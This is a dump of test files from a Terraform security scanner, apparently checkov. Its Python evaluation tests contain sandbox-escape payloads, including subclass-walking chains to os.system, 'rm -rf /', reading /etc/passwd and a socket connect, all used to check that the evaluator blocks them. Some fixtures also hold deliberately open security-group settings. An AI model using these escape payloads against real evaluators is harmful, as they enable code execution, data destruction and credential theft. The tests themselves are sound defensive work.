type = string })) })) default = [{ resource_app_id = "00000003-0000-0000-c000-000000000000" resource_access = [{ id = "7ab1d382-f21e-4acd-a863-ba3e13f7da61" type = "Role" }] }] } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/aws_iam_role.pipeline.tf ================================================ resource "aws_iam_role" "pipeline" { count = var.role_arn == "" ? 1 : 0 name = local.role_name path = "/service-role/" assume_role_policy = < 0 ? [var.identity] : [] content { type = lookup(identity.value, "type", "SystemAssigned") # Set to SystemAssigned per Cosmos THR requirement R_2.5. identity_ids = lookup(identity.value, "identity_ids", null) } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_with_conditional_expression/cosmosdb_account_vars.tf ================================================ variable "identity" { description = "The Type of Managed Identity assigned to this Cosmos account. Possible values are `SystemAssigned`, `UserAssigned` and `SystemAssigned, UserAssigned`." type = any default = { type = "SystemAssigned" # Set to SystemAssigned per Cosmos THR requirement R_2.5. } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/list_entry_module_var/module/main.tf ================================================ variable "vpc_id" { type = string } variable "cidr_sg" { type = string default = "0.0.0.0/0" } resource "aws_security_group" "sg" { name = "example" vpc_id = var.vpc_id ingress { from_port = 22 to_port = 22 protocol = "TCP" cidr_blocks = [var.cidr_sg] } egress { from_port = 22 to_port = 22 protocol = "TCP" cidr_blocks = ["10.0.0.0/16", var.cidr_sg] } } variable "empty_ingress" { type = list } resource "aws_security_group" "multiple_ingress_sg" { name = "example" vpc_id = var.vpc_id ingress = [var.empty_ingress] ingress = [ { from_port = 23 to_port = 23 protocol = "TCP" cidr_blocks = [var.cidr_sg] }, var.empty_ingress ] egress { from_port = 22 to_port = 22 protocol = "TCP" cidr_blocks = ["10.0.0.0/16", var.cidr_sg] } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/lookup_from_var/main.tf ================================================ locals { protocol1 = var.nc_local_sns endpoint1 = var.nc_local_endpoint } resource "aws_sns_topic_subscription" "sample_nc_local" { protocol = lookup({a=local.protocol1}, "a", "https") endpoint = lookup({a=local.endpoint1}, "a", "https://www.example.com") topic_arn = "" } variable "nc_local_sns" { type = string description = "(optional) describe your variable" default = "http" } variable "nc_local_endpoint" { type = string description = "(optional) describe your variable" default = "http://www.example.com" } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/multiple_dynamic_blocks/main.tf ================================================ resource "google_sql_database_instance" "instance4-should-fail" { name = "instance" database_version = "POSTGRES_11" settings { tier = "db-f1-micro" ip_configuration { dynamic "authorized_networks" { for_each = google_compute_instance.apps iterator = apps content { name = apps.value.name value = apps.value.network_interface.0.access_config.0.nat_ip } } dynamic "authorized_networks" { for_each = local.onprem iterator = onprem content { name = "onprem-${onprem.key}" value = "0.0.0.0/0" } } } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/provider_alias/main.tf ================================================ locals { tags = { test = "Test" } } provider "aws" { default_tags { tags = local.tags } } provider "aws" { alias = "test" default_tags { tags = local.tags } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/skip_renderer/ellipsis.tf ================================================ variable "a" { default = "..." } locals { b = var.a } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/install_airpods.tf ================================================ module "airpods"{ source = "./modules/instance" var_instance = var.var_instance } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance/main.tf ================================================ resource "google_compute_instance" "instance" { name = var.var_instance.instance_name machine_type = var.var_instance.instance_machine_type zone = var.var_instance.instance_zone tags = ["foofoo", "barbar"] boot_disk { initialize_params { image = var.var_instance.instance_image } } // Local SSD disk scratch_disk { interface = var.var_instance.instance_interface_disk } network_interface { network = var.var_instance.instance_network access_config { // Ephemeral IP } } metadata = { env = var.var_instance.meta_env } service_account { scopes = ["userinfo-email", "compute-ro", "storage-ro"] } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance/outputs.tf ================================================ output "address_instance"{ value = google_compute_instance.instance.network_interface.0.network_ip } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance/variables.tf ================================================ variable "var_instance"{ description = "TODO" type = object({ instance_name = string instance_machine_type = string instance_zone = string instance_image = string instance_interface_disk = string instance_network = string meta_env = string }) } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/outputs.tf ================================================ output "address_instance"{ value = module.airpods.address_instance } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/provider.tf ================================================ provider "google" { credentials = "${file("${var.path}/account.json")}" // put the path to your service account file project = "airpods-yoyo-291302" region = "us-central1-a" } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/terraform.tfvars ================================================ var_instance = { instance_name = "airpods" instance_machine_type = "n1-standard-1" instance_zone = "us-central1-a" instance_image = "ubuntu-2004-banana-v20200529" instance_interface_disk = "SCSI" instance_network = "default" meta_env = "airpods" } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/variables.tf ================================================ variable "var_instance"{ description = "" type = object({ instance_name = string instance_machine_type = string instance_zone = string instance_image = string instance_interface_disk = string instance_network = string meta_env = string }) } variable "path"{ description = "" type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/test_string_evaluation.py ================================================ import os from unittest import TestCase, mock from datetime import datetime import pytest from checkov.terraform.graph_builder.variable_rendering.evaluate_terraform import evaluate_terraform, \ replace_string_value, \ remove_interpolation, _find_new_value_for_interpolation from checkov.terraform.graph_builder.variable_rendering.safe_eval_functions import evaluate, get_asteval class TestTerraformEvaluation(TestCase): def test_zipmap(self): input_str = '"zipmap(["a", "b"], [1, 2])"' expected = {'a': 1, 'b': 2} self.assertEqual(expected, evaluate_terraform(input_str)) def test_directive(self): input_str = '"Hello, %{ if "d" != "" }named%{ else }unnamed%{ endif }!"' expected = 'Hello, named!' self.assertEqual(expected, evaluate_terraform(input_str)) def test_condition(self): input_str = '"2 > 0 ? bigger : smaller"' expected = 'bigger' self.assertEqual(expected, evaluate_terraform(input_str).strip()) input_str = '"2 > 5 ? bigger : smaller"' expected = 'smaller' self.assertEqual(expected, evaluate_terraform(input_str).strip()) def test_conditional_expression(self): input_str = '"[\'${blocked == "allowed" ? True : False}\']"' expected = False self.assertEqual(expected, evaluate_terraform(input_str)) input_str = '${blocked == "allowed" ? True : False}' expected = False self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'blocked == "allowed" ? True : False' expected = False self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'True == "true" ? True : False' expected = True self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'False != "false" ? True : False' expected = False self.assertEqual(expected, evaluate_terraform(input_str)) def test_nested_conditional_expression(self): input_str = "{for resource in concat(true ? [{'name'='test'}] : [], false ? [] : [{'name'='test2'}]) : resource.name => resource}" value = evaluate_terraform(input_str) self.assertEqual(value, {'test': {'name': 'test'}, 'test2': {'name': 'test2'}}) def test_format(self): input_str = '"format("Hello, %s!", "Ander")"' expected = 'Hello, Ander!' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = '"format("There are %d lights", 4)"' expected = 'There are 4 lights' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatlist(self): input_str = '"formatlist("Hello, %s!", ["Valentina", "Ander", "Olivia", "Sam"])"' expected = ['Hello, Valentina!', 'Hello, Ander!', 'Hello, Olivia!', 'Hello, Sam!'] self.assertEqual(expected, evaluate_terraform(input_str)) def test_join(self): input_str = 'join(", ", ["foo", "bar", "baz"])' expected = 'foo, bar, baz' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'join(", ", ["foo"])' expected = 'foo' self.assertEqual(expected, evaluate_terraform(input_str)) def test_regex(self): input_str = 'regex("[a-z]+", "53453453.345345aaabbbccc23454")' expected = 'aaabbbccc' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'regex("[a-z]+", "53453453.34534523454")' expected = '' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'regex("^(?:(?P[^:/?#]+):)?(?://(?P[^/?#]*))?", "https://terraform.io/docs/")' expected = {"authority":"terraform.io", "scheme": "https"} self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'regex(r"(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)", "2019-02-01")' expected = ["2019","02","01"] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'regex("[a-z]+", "53453453.34534523454")' expected = '' self.assertEqual(expected, evaluate_terraform(input_str)) def test_regexall(self): input_str = 'regexall("[a-z]+", "1234abcd5678efgh9")' expected = ["abcd","efgh"] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'length(regexall("[a-z]+", "1234abcd5678efgh9"))' expected = 2 self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'length(regexall("[a-z]+", "123456789")) > 0' expected = False self.assertEqual(expected, evaluate_terraform(input_str)) def test_replace(self): input_str = 'replace("1 + 2 + 3", "+", "-")' expected = -4 self.assertEqual(expected, evaluate_terraform(input_str)) def test_substr(self): input_str = 'substr("hello world", 1, 4)' expected = 'ello' self.assertEqual(expected, evaluate_terraform(input_str)) def test_trim(self): input_str = 'trim("?!hello?!", "!?")' expected = 'hello' self.assertEqual(expected, evaluate_terraform(input_str)) def test_trimprefix(self): input_str = 'trimprefix("helloworld", "hello")' expected = 'world' self.assertEqual(expected, evaluate_terraform(input_str)) def test_upper(self): input_str = 'upper("hello")' expected = 'HELLO' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'upper("алло!")' expected = 'АЛЛО!' self.assertEqual(expected, evaluate_terraform(input_str)) def test_chunklist(self): input_str = 'chunklist(["a", "b", "c", "d", "e"], 2)' expected = [["a", "b"], ["c", "d"], ["e"]] self.assertEqual(expected, evaluate_terraform(input_str)) def test_coalese(self): input_str = 'coalesce("a", "b")' expected = 'a' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'coalesce("", "b")' expected = 'b' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'coalesce(1, 2)' expected = 1 self.assertEqual(expected, evaluate_terraform(input_str)) def test_coalescelist(self): input_str = 'coalescelist(["a", "b"], ["c", "d"])' expected = ['a', 'b'] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'coalescelist([], ["c", "d"])' expected = ["c", "d"] self.assertEqual(expected, evaluate_terraform(input_str)) def test_compact(self): input_str = 'compact(["a", "", "b", "c"])' expected = ['a', 'b', 'c'] self.assertEqual(expected, evaluate_terraform(input_str)) def test_concat(self): input_str = 'concat(["a", ""], ["b", "c"])' expected = ['a', '', 'b', 'c'] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'concat([\'postgresql-tcp\'],[],[\'\'])' expected = ['postgresql-tcp', ''] self.assertEqual(expected, evaluate_terraform(input_str)) def test_concat_dictionaries(self): input_str = "concat([{'key':'a','value':'a'},{'key':'b','value':'b'}, \"{'key':'d','value':'d'}\"],,[{'key':'c','value':'c'}],)" expected = [{'key':'a','value':'a'},{'key':'b','value':'b'},"{'key':'d','value':'d'}",{'key':'c','value':'c'}] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'concat([\'postgresql-tcp\'],[],[\'\'])' expected = ['postgresql-tcp', ''] self.assertEqual(expected, evaluate_terraform(input_str)) def test_distinct(self): input_str = 'distinct(["a", "b", "a", "c", "d", "b"])' expected = ['a', 'b', 'c', 'd'] self.assertEqual(expected, evaluate_terraform(input_str)) def test_flatten(self): input_str = 'flatten([["a", "b"], [], ["c"]])' expected = ['a', 'b', 'c'] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = 'flatten([[["a", "b"], []], ["c"]])' expected = ['a', 'b', 'c'] self.assertEqual(expected, evaluate_terraform(input_str)) def test_index(self): input_str = 'index(["a", "b", "c"], "b")' expected = 1 self.assertEqual(expected, evaluate_terraform(input_str)) def test_keys(self): input_str = 'keys({"a"="ay", "b"="bee"})' expected = ["a", "b"] self.assertEqual(expected, evaluate_terraform(input_str)) def test_list(self): input_str = 'list("a", "b", "c")' expected = ['a', 'b', 'c'] self.assertEqual(expected, evaluate_terraform(input_str)) def test_lookup(self): input_str = 'lookup({"a"="ay", "b"="bee"}, "a", "what?")' expected = 'ay' self.assertEqual(expected, evaluate_terraform(input_str)) def test_matchkeys(self): input_str = 'matchkeys(["i-123", "i-abc", "i-def"], ["us-west", "us-east", "us-east"], ["us-east"])' expected = ["i-abc", "i-def"] actual = evaluate_terraform(input_str) for elem in actual: if elem not in expected: self.fail(f'expected to find {elem} in {expected}. Got {actual}') def test_merge(self): input_str = 'merge({"a"="b", "c"="d"}, {"e"="f", "c"="z"})' expected = {"a":"b", "c":"z","e":"f"} self.assertEqual(expected, evaluate_terraform(input_str)) def test_merge2(self): input_str = 'merge({"a"="b", "c"="d"}, {"e"="f", "c"="z"}, {"r"="o", "t"="m"})' expected = {"a":"b", "c":"z","e":"f","r":"o","t":"m"} self.assertEqual(expected, evaluate_terraform(input_str)) def test_merge_multiline(self): input_str = "merge(\n{'Tag1':'one','Tag2':'two'},\n{'Tag4' = 'four'},\n{'Tag2'='multiline_tag2'})" expected = {'Tag1': 'one', 'Tag2': 'multiline_tag2', 'Tag4': 'four'} self.assertEqual(expected, evaluate_terraform(input_str)) def test_merge_interpolation(self): input_str = '${merge({\'environment\':\'${var.environment}\',\'name\':\'${local.cluster_name}\',\'role\':\'${var.role}\',\'team\':\'${var.team}\'})}' expected = {'environment': 'var.environment', 'name': 'local.cluster_name', 'role': 'var.role', 'team': 'var.team'} actual = evaluate_terraform(input_str, keep_interpolations=False) self.assertEqual(expected, actual) def test_reverse(self): input_str = 'reverse([1, 2, 3])' expected = [3, 2, 1] self.assertEqual(expected, evaluate_terraform(input_str)) def test_sort(self): input_str = 'sort(compact(distinct(concat([\'postgresql-tcp\'],[],[\'\']))))' expected = ['postgresql-tcp'] self.assertEqual(expected, evaluate_terraform(input_str)) def test_condition2(self): input_str = 'us-west-2 == "something to produce false" ? true : false' expected = 'false' self.assertEqual(expected, evaluate_terraform(input_str).strip()) def test_complex_merge(self): cases = [ ("merge(local.one, local.two)", "merge(local.one, local.two)"), ('merge({"Tag4" = "four"}, {"Tag5" = "five"})', {"Tag4": "four", "Tag5": "five"}), ('merge({"a"="b"}, {"b"=[1,2], "c"="z"}, {"d"=3})', {"a": "b", "b": [1, 2], "c": "z", "d": 3}), ("merge({'a': '}, evil'})", {"a": "}, evil"}), ( "merge(local.common_tags,,{'Tag4': 'four'},,{'Tag2': 'Dev'},)", "merge(local.common_tags,{'Tag4': 'four'},{'Tag2': 'Dev'},)", ), ] for case in cases: input_str = case[0] expected = input_str if case[1] is None else case[1] actual = evaluate_terraform(input_str) assert actual == expected, f'Case "{input_str}" failed. Expected: {expected} Actual: {actual}' def test_map_access(self): input_str = '{\'module-input-bucket\':\'mapped-bucket-name\'}[module-input-bucket]-works-yay' expected = 'mapped-bucket-name-works-yay' self.assertEqual(expected, evaluate_terraform(input_str)) input_str = '{"module-input-bucket":"mapped-bucket-name"}[module-input-bucket]-works-yay' expected = 'mapped-bucket-name-works-yay' self.assertEqual(expected, evaluate_terraform(input_str)) def test_replace_with_map(self): original_str = '{\'module-input-bucket\':\'mapped-bucket-name\'}[module.bucket.name]-works-yay' replaced = replace_string_value(original_str, "module.bucket.name", "module-input-bucket", keep_origin=False) expected = '{\'module-input-bucket\':\'mapped-bucket-name\'}[module-input-bucket]-works-yay' self.assertEqual(expected, replaced) def test_replace_interpolation(self): original_str = '${mapped-bucket-name}[module.bucket.name]-works-yay' replaced = replace_string_value(original_str, "module.bucket.name", "module-input-bucket", keep_origin=False) expected = '${mapped-bucket-name}[module-input-bucket]-works-yay' self.assertEqual(expected, replaced) def test_remove_interpolation1(self): original_str = '${merge(local.common_tags,local.common_data_tags,{\'Name\':\'Bob-${local.static1}-${local.static2}\'})}' replaced = remove_interpolation(original_str) expected = 'merge(local.common_tags,local.common_data_tags,{\'Name\':\'Bob-local.static1-local.static2\'})' self.assertEqual(expected, replaced) def test_jsonencode(self): cases = [ ("jsonencode(['a', 42, true, null])", ["a", 42, True, None]), ("jsonencode({'a': 'b'})", {"a": "b"}), ("jsonencode({'a' = 'b'})", {"a": "b"}), ("jsonencode({'a' = 42})", {"a": 42}), ("jsonencode({'a' = true})", {"a": True}), ("jsonencode({'a' = false})", {"a": False}), ("jsonencode({'a' = null})", {"a": None}), ("jsonencode({'a' = ['b', 'c']})", {"a": ["b", "c"]}), ("jsonencode({'a' = jsonencode(['b', 'c'])})", {"a": ["b", "c"]}), ] for input_str, expected in cases: with self.subTest(input_str): assert evaluate_terraform(input_str) == expected def test_block_file_write(self): temp_file_path = "/tmp/file_shouldnt_create" input_str = "[x for x in {}.__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('date >> /tmp/file_shouldnt_create')" evaluated = evaluate_terraform(input_str) self.assertEqual(input_str, evaluated) self.assertFalse(os.path.exists(temp_file_path)) def test_block_file_write2(self): temp_file_path = "/tmp/file_shouldnt_create_vuln" input_str = "(lambda: [x for x in {}.__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('date >> /tmp/file_shouldnt_create_vuln'))()" evaluated = evaluate_terraform(input_str) self.assertEqual(input_str, evaluated) self.assertFalse(os.path.exists(temp_file_path)) def test_block_file_write_lower(self): temp_file_path = "/tmp/file_shouldnt_create" input_str = "[x for x in parsint.__bases__[0].__subclasses__()][134]()._module.__builtins__['__IMPORT__'.lower()]('os').system('date >> /tmp/file_shouldnt_create')" evaluated = evaluate_terraform(input_str) self.assertEqual(input_str, evaluated) self.assertFalse(os.path.exists(temp_file_path)) def test_block_math_expr(self): input_str = "__import__('math').sqrt(25)" evaluated = evaluate_terraform(input_str) self.assertEqual(input_str, evaluated) def test_block_segmentation_fault(self): # in this test, the following code is causing segmentation fault if evaluated input_str = """ (lambda fc=( lambda n: [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n ][0] ): fc("function")( fc("code")( 0,0,0,0,0,b'test',(),(),(),"","",0,b'test' ),{} )() )() """ evaluated = evaluate_terraform(input_str) self.assertEqual(input_str.replace("\n", ""), evaluated) def test_evaluate_(self): input_str = '"10\\.0\\.\\0.\\0/8"' expected = '10\\.0\\.\\0.\\0/8' evaluated = evaluate_terraform(input_str) self.assertEqual(expected, evaluated) # Date Function @mock.patch('checkov.terraform.graph_builder.variable_rendering.safe_eval_functions.datetime') def test_timestamp(self,mock_dt): testdt = datetime(2018, 5, 13, 7, 44, 12, 0) mock_dt.utcnow = mock.Mock(return_value=testdt) input_str = 'timestamp()' expected = "2018-05-13T07:44:12Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_hours(self): input_str = 'timeadd("2018-05-13T07:44:12Z","24h")' expected = "2018-05-14T07:44:12Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_negative_hours(self): input_str = 'timeadd("2018-05-13T07:44:12Z","-24h")' expected = "2018-05-12T07:44:12Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_partialhours(self): input_str = 'timeadd("2018-05-13T07:44:12Z","1.5h")' expected = "2018-05-13T09:14:12Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_minutes(self): input_str = 'timeadd("2018-05-13T07:44:12Z","16m")' expected = "2018-05-13T08:00:12Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_hours_and_minutes(self): input_str = 'timeadd("2018-05-13T07:44:12Z","1h16m")' expected = "2018-05-13T09:00:12Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_hours_and_minutes_and_seconds(self): input_str = 'timeadd("2018-05-13T07:44:12Z","1h16m49s")' expected = "2018-05-13T09:01:01Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_hours_and_minutes_and_seconds_milliseconds(self): input_str = 'timeadd("2018-05-13T07:44:12Z","1h16m49s1001ms")' expected = "2018-05-13T09:01:02Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_timeadd_hours_and_minutes_and_seconds_milliseconds_microseconds(self): input_str = 'timeadd("2018-05-13T07:44:12Z","1h16m49s1001ms1000001us")' expected = "2018-05-13T09:01:03Z" self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdatesimple(self): input_str = 'formatdate("HH:mm", "2018-01-02T23:12:01Z")' expected = '11:12' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_simple_and_am(self): input_str = 'formatdate("HH:mmaa", "2018-01-02T23:12:01Z")' expected = '11:12pm' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_more_complex(self): input_str = 'formatdate("DD MMM YYYY hh:mm", "2018-01-02T23:12:01Z")' expected = '02 Jan 2018 23:12' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_with_day(self): input_str = 'formatdate("EEE, DD MMM YYYY hh:mm:ss ZZZZZ", "2018-01-02T23:12:01-08:00")' expected = 'Tue, 02 Jan 2018 23:12:01 -08:00' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_utc_and_zzz(self): input_str = 'formatdate("DD MMM YYYY hh:mm ZZZ", "2018-01-02T23:12:01Z")' expected = '02 Jan 2018 23:12 UTC' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_utc_and_z(self): input_str = 'formatdate("DD MMM YYYY hh:mm Z", "2018-01-02T23:12:01Z")' expected = '02 Jan 2018 23:12 Z' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_with_day_utc(self): input_str = 'formatdate("EEE, DD MMM YYYY hh:mm:ss ZZZ", "2018-01-02T23:12:01-00:00")' expected = 'Tue, 02 Jan 2018 23:12:01 UTC' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_everything(self): input_str = 'formatdate("YYYY YY MMMM MMM MM M DD EEEE EEE hh h HH H AA aa mm m ss s ZZZZZ ZZZZ ZZZ Z", "2018-01-02T23:12:01-00:00")' expected = '2018 18 January Jan 01 1 02 Tuesday Tue 23 23 11 11 PM pm 12 12 01 1 +00:00 +0000 UTC Z' self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_simple_and_quotes(self): input_str = 'formatdate("HH \'o\'\'clock\'", "2018-01-02T23:12:01Z")' expected = "11 o'clock" self.assertEqual(expected, evaluate_terraform(input_str)) def test_formatdate_simple_and_more_quotes(self): input_str = 'formatdate("HH \'Hours and \'M \'Minute(s)\'", "2018-01-02T23:12:01Z")' expected = "11 Hours and 1 Minute(s)" self.assertEqual(expected, evaluate_terraform(input_str)) def test_handle_for_loop_in_dict(self): input_str = "{for val in [{'name': 'key3'},{'name': 'key4'}] : val.name => true}" expected = {'key3': 'true', 'key4': 'true'} self.assertEqual(expected, evaluate_terraform(input_str)) def test_handle_for_loop_in_list(self): input_str = "[for val in ['k', 'v'] : val]" expected = ['k', 'v'] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = "{for val in ['k', 'v'] : val.name => true}" expected = "{for val in ['k', 'v'] : val.name :> true}" self.assertEqual(expected, evaluate_terraform(input_str)) def test_handle_for_loop_in_list_of_dicts(self): input_str = "[for val in [{'name': 'raw', 'type': 'container'}, {'name': 'masked', 'type': 'blob'}] : {'name': '${val.name}', 'type': '${val.type}'}]" expected = [{'name': 'raw', 'type': 'container'}, {'name': 'masked', 'type': 'blob'}] self.assertEqual(expected, evaluate_terraform(input_str)) input_str = "[for val in [{'a': 123, 'b': True, 'c': None}] : {'a': '${val.a}', 'b': '${val.b}', 'c': '${val.c}'}]" expected = [{'a': 123, 'b': True, 'c': None}] self.assertEqual(expected, evaluate_terraform(input_str)) def test_base64_value(self): input_str = "\"['dGVzdA==']\"" expected = ["dGVzdA=="] self.assertEqual(expected, evaluate_terraform(input_str)) def test_try_block(self): input_str = 'try("local.foo.boop", "{}")' expected = {} result = evaluate_terraform(input_str) self.assertEqual(expected, result) def test_try_then_merge_block(self): input_str = "try((merge({}, {})), 1, 2)" expected = {} result = evaluate_terraform(input_str) self.assertEqual(expected, result) def test_empty_string(self): input_str = " " expected = input_str result = evaluate_terraform(input_str) self.assertEqual(expected, result) input_str = "" expected = input_str result = evaluate_terraform(input_str) self.assertEqual(expected, result) def test_dict_as_string(self): expected = {'Statement': [ {'Action': ['lambda:CreateFunction', 'lambda:CreateEventSourceMapping', 'dynamodb:CreateTable'], 'Effect': 'Allow', 'Resource': '*'}], 'Version': '2012-10-17'} input_str = ' { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "lambda:CreateFunction", "lambda:CreateEventSourceMapping", "dynamodb:CreateTable", ], "Resource": "*" } ] }' result = evaluate_terraform(input_str) assert result == expected def test_continue_stays_the_same(self): expected = "continue" result = evaluate_terraform("continue") self.assertEqual(expected, result) @pytest.mark.parametrize( "origin_str,str_to_replace,new_value,expected", [ ("${lookup({'a': ${local.protocol1}},\"a\",\"https\")}", '${local.protocol1}', 'local.protocol1', '"local.protocol1"'), ('${length(keys(var.identity)) > 0 ? [${var.identity}] : []}', '${var.identity}', 'var.identity', 'var.identity'), ], ids=["escaped", "not escaped"], ) def test_find_new_value_for_interpolation(origin_str: str, str_to_replace: str, new_value: str, expected: str): actual = _find_new_value_for_interpolation(origin_str, str_to_replace, new_value) assert actual == expected def test_evaluate_range_pattern() -> None: # Test range pattern assert evaluate("1-10") == "1-10" assert evaluate("5-25")== "5-25" assert evaluate("10-5") == 5 # Test non-range pattern for comparison assert evaluate("1+1") == 2 EVAL_DANGEROUS_INPUTS = [ ("unicode_characters", "[{}._﹎class_﹎._﹎bases_﹎[0]._﹎subclasses_﹎()]"), ("generators_to_bypass_protections_code", "((gen:=(gen_list[0].gi_frame.f_back.f_back.f_globals for _ in [1,]),v:=gen_list.append(gen), gen_list[0])[2] for gen_list in [[]]).send(None).send(None).get('_'+'_builtins_'+'_')['_'+'_import_'+'_']('os').system('date >> /tmp/gen-example')"), ("system command", "__import__('os').system('rm -rf /')"), ("read passwd", "open('/etc/passwd').read()"), ("access builtins", "__builtins__.__import__('os').listdir('.')"), ("exec call", "exec('print(123)')"), ("create file", "__import__('os').popen('touch /tmp/hacked').read()"), ("subclasses", "().__class__.__bases__[0].__subclasses__()"), ("socket connection", "__import__('socket').socket().connect(('example.com', 80))"), ("lambda trick", "(lambda f: f('ls'))(__import__('os').system)") ] @pytest.mark.parametrize("description, input_str", EVAL_DANGEROUS_INPUTS) def test_evaluate_malicious_code(description: str, input_str: str)-> None: expected = input_str result = evaluate_terraform(input_str) assert result == expected asteval = get_asteval() asteval(input_str) assert asteval.error ================================================ FILE: tests/terraform/image_referencer/__init__.py ================================================ ================================================ FILE: tests/terraform/image_referencer/provider/__init__.py ================================================ ================================================ FILE: tests/terraform/image_referencer/provider/test_aws.py ================================================ import os from unittest import mock import pytest from checkov.common.images.image_referencer import Image from checkov.terraform.image_referencer.provider.aws import AwsTerraformProvider from tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \ add_vertices_to_graph_by_graph_framework @mock.patch.dict(os.environ, {"BC_ROOT_DIR": "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src"}) @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources_with_external_module(graph_framework): # given resource = { "file_path_": "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf", "__end_line__": 8, "__start_line__": 1, "container_definitions": [ { "name": "first", "image": "nginx", "cpu": 10, "memory": 512, "essential": True, "portMappings": [{"containerPort": 80, "hostPort": 80}], }, { "name": "second", "image": "python:3.9-alpine", "cpu": 10, "memory": 256, "essential": True, "portMappings": [{"containerPort": 443, "hostPort": 443}], }, ], "resource_type": "aws_ecs_task_definition", "module_dependency_": "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf", "module_dependency_num_": "0", "id_": "aws_batch_job_definition.batch", } module_resource = { "block_name_": "batch", "block_type_": "module", "file_path_": "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf", "config_": { "batch": { "__end_line__": 21, "__resolved__": [ "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_compute_environment.batch.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]", "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]", "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_queue.batch.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]", "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_scheduling_policy.pike.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]", "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/outputs.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]", "/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/variables.tf[/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/example/examplea/module.batch.tf#0]" ], "__start_line__": 1, } }, "id": "5c440d2a1a5c656290cdf8f98e1d893b1c08f7d7bb7cb93ff97a1884b83c18cc" } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) add_vertices_to_graph_by_graph_framework(graph_framework, module_resource, graph, 